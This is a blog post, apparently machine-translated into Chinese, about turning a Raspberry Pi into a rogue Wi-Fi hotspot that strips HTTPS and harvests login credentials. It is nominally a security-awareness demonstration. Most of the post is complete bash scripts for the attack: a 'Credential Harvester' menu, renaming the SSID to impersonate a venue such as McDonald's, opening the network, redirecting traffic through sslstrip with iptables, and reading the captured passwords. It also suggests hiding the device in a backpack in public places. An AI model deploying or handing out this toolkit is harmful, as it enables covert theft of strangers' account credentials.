这是我博客中的一篇文章,涉及在使用 Raspberry Pi 的 MITM 攻击中使用 SSLStrip - 由于 Google Blogger 不喜欢它,因此不得不将其删除,因此此内容是从 Evernote 粘贴的 :)
作为安全意识演示的一部分,我设置了我的 3g Pi 无线 AP,以从安全网站中剥离 SSL 并收集登录详细信息。在 MITM 攻击的背景下,您可能对此很熟悉,但是由于 Pi 是网关,因此无需 ARP 毒害网络,整个事情运行得更快一些。我想展示一个人设置无线 AP 提供免费互联网是多么容易,将设备隐藏起来 - 可能放在背包里 - 坐在公共场所获取登录详细信息而没有任何人怀疑*。将来我想在从电池组运行 Pi 时这样做。
- 发生攻击的主要问题是浏览器中的导航栏不再在 URL 的开头显示“https:”。
脚本说明如下:
菜单
此脚本是使用凭证收集器脚本的简单菜单。它是从 Jeroen Doggen 的博客中复制而来,并进行了编辑以适合。需要将突出显示的部分更改为包含脚本的目录。
菜单.sh
#!/bin/bash
#
# Script to perform some common system operations
#
while :
do
clear
echo "************************"
echo "* Credential Harvester *"
echo "************************"
echo "* [1] Change SSID *"
echo "* [2] Open AP *"
echo "* [3] Start SSLStrip *"
echo "* [4] Stop SSLStrip *"
echo "* [5] Secure AP *"
echo "* [6] View Credentials
echo "* [Q] Quit *"
echo "************************"
echo -n "Enter your menu choice: "
read yourch
case $yourch in
1) /home/pi/cred_harv/changeSsid.sh ;;
2) /home/pi/cred_harv/makeOpen.sh ;;
3) /home/pi/cred_harv/sslStrip.sh ;;
4) /home/pi/cred_harv/tidySslStrip.sh ;;
5) /home/pi/cred_harv/makeSecure.sh ;;
6) /home/pi/cred_harv/viewCreds.sh ;;
Q) exit 0;;
*) echo "Oopps!!! Please select choice 1,2,3 or 4";
echo "Press Enter to continue. . ." ; read ;;
esac
done
更改 SSID
为了让 Pi 凭证收集器看起来可信,我们需要能够更改 SSID(每个人在扫描可用网络时看到的名称)以匹配我们当前的环境。坐在麦当劳?将 SSID 更改为“McDonalds Free Customer Wifi”或类似的东西。
鉴于 Pi 凭证收集器是无头的,最简单的方法是通过 Wifi 连接 SSH 并运行一个简单的脚本。
该脚本将使用 Sed 命令。来自 Sed 手册页:Sed 是一个流编辑器。流编辑器用于对输入流(文件或来自管道的输入)执行基本的文本转换。
因此,我们应该能够使用 Sed 替换 hostapd.conf 文件中的 SSID 名称条目。手册页指定“-i”标志用于内联更改 - 因此,不会创建文件的另一个副本的实时更改。要替换 SSID,完整的命令语法为:
sed -i 's/STRING_TO_FIND/STRING_TO_REPLACE_WITH/g' FILE
搜索和替换字符串开头和结尾的 's' 和 'g' 定义要执行的搜索和替换的类型我们的 STRING_TO_FIND 将是 'SSID=Pifi',STRING_TO_REPLACE 将是 'SSID=McDonalds Free Customer Wifi' 在这个例子中。FILE 是 /etc/hostapd.conf 文件,给我们命令:
sed -i 's/SSID=Pifi/McDonalds Free Customer Wifi/g' /etc/hostapd/hostapd.conf
需要重新启动 hostapd 服务才能应用更改:
sudo service hostapd restart
我想出的最终脚本获取当前 SSID 的名称,显示它,然后提示用户输入所需的 SSID。这被传递给 'sed',后者执行 hostapd.conf 的在线编辑,并重新启动服务以应用更改。
更改Ssid.sh
#!/bin/bash
currentSSID=`cat /etc/hostapd/hostapd.conf | grep -P -o '(?<=ssid=)[ A-Za-z0-9]*'`
#the -o flag means print only matched
#grep rule: http://stackoverflow.com/questions/1247812/im-stuck-in-trying-to-grep-anything-just-after-name
echo Current SSID is $currentSSID
echo Desired SSID:
read x
echo 'Changing SSID'
sudo sed -i "s/ssid=$currentSSID/ssid=$x/g" /etc/hostapd/hostapd.conf
echo 'Change OK'
echo 'Restarting hostapd service'
sudo service hostapd restart
使网络开放
makeOpen.sh
该脚本使用 'sed' 注释掉 hostapd.conf 中启用 wpa 安全性的行 - 这使 AP 打开,因此每个人都可以加入它。重新启动 hostapd 服务以启用更改。
#!/bin/bash
echo 'Disabling AP secutrity (AP is now open)'
sudo sed -i 's/wpa=2/#wpa=2/g' /etc/hostapd/hostapd.conf
sudo service hostapd restart
运行 SSLStrip
sslStrip.sh
此脚本运行 SSLStrip,它“伪造”来自安全网站的 SSL 保护,允许以纯文本形式读取登录凭据。您可以在 SSLStrip 网站上找到更多信息。
#!/bin/bash
echo "Editing Iptables and starting sslstrip"
sudo iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
sudo sslstrip -p -k -w /home/pi/cred_harv/ssl.log 2> /dev/null &
关闭 SSLStrip
此脚本从 iptables 中删除路由规则,允许再次正常浏览。它还会终止 sslstrip 进程。
tidySslStrip.sh
#!/bin/bash
echo "Closing SSLStrip and cleaning up iptables"
sudo iptables -t nat -D PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
sudo killall sslstrip
使网络安全
此脚本使用“sed”重新启用 hostapd.conf 中的 wpa 行,使 AP 再次安全。
makeSecure.sh
#!/bin/bash
echo 'Enabling AP security (AP is now secure)'
sudo sed -i 's/#wpa=2/wpa=2/g' /etc/hostapd/hostapd.conf
sudo service hostapd restart
如果您手动将这些复制并粘贴到脚本中,请记住使它们可执行,使用:
sudo chmod +x SCRIPT_NAME
查看凭证
该脚本只是打开 SSLStrip 日志文件,以便您可以在其中搜索用户名和密码 - 文件中有很多垃圾,但它们就在那里!
#!/bin/bash
sudo nano /home/pi/cred_harv/ssl.log